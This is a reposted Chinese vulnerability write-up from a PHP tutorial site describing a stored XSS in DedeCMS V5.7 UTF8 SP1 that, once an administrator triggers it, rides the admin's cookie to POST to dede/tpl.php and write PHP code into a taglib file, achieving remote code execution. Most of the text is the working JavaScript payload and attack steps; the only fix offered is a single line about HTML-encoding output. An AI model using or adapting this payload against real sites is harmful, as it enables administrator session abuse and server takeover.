来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] DedeCMS-V5 7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试注册账户,然后登陆:jscode:function ajax(){ var request = false; if(window XMLHttpRequest) {...
DedeCMS-V5.7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试
注册账户,然后登陆:
jscode:
function ajax(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } return request; } var _x = ajax(); postgo(); function postgo() { src="http://10.65.100.235/DedeCMS-V5.7-UTF8-SP1/uploads/dede/tpl.php"; data="actiondo=edittag&action=savetagfile&filename=a.lib.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++"; xhr_act("POST",src,data); } function xhr_act(_m,_s,_a){ _x.open(_m,_s,false); cookie = document.cookie; if(_m=="POST"){ _x.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); _x.setRequestHeader("Cookie",cookie); } _x.send(_a); return _x.responseText; }
为了做测试,我们提前建立一个测试标签,标签的内容为空,如图所示:
然后我们的js代码就是往a.lib.php里面写入phpinfo()
步骤操作如图所示:
最终我们去访问DedeCMS-V5.7-UTF8-SP1/uploads/include/taglib/a.lib.php,完全没有限制
直接可以看到phpinfo被执行了如图:
修复方案:
对于输出的地方全部做htmlcode转换
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com